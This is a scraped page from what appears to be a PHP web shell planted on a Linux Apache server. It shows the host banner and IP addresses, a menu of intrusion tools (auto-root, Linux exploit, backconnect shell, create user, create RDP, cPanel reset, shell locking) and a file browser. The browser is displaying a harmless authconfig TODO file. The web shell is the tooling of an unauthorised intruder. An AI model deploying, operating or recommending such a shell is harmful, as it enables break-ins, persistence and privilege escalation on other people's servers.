Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.145.164.47
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
authconfig-6.2.8 /
[ HOME SHELL ]
Name
Size
Permission
Action
COPYING
17.58
KB
-rw-r--r--
NOTES
1.76
KB
-rw-r--r--
README.samba3
1.56
KB
-rw-r--r--
TODO
1.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TODO
Probing: * Probing DNS for Kerberos and LDAP configuration. To be added as a button for one-time use. - Use SRV RRs for LDAP, a la nss_ldap: _ldap._tcp.<DOMAIN> = priority weight port server (see RFC 2782) Convert <DOMAIN> to base DN using DC components in the way just about everything does (example.com -> "dc=example,dc=com") - Use SRV RRs for Kerberos realms, a la locate_kdc.c: _kerberos._udp.<REALM> = priority weight port server (see RFC 2782) We have the realm, a server name, and the port number. Use all of them. _kerberos-master._udp.<REALM> = priority weight port server (see RFC 2782) We have the realm, the admin server name, and the port number. * Probing for NIS servers and domains using broadcast RPC (servers can be done by calling the NULL function for the ypserv program, and we've only got YPPROC_DOMAIN for checking if a server supports a given domain). To be added as a button for one-time use. * An easy-to-parse way to dump what we think the current configuration is (for anaconda to use if we want to add probing for default options at install-time).
Close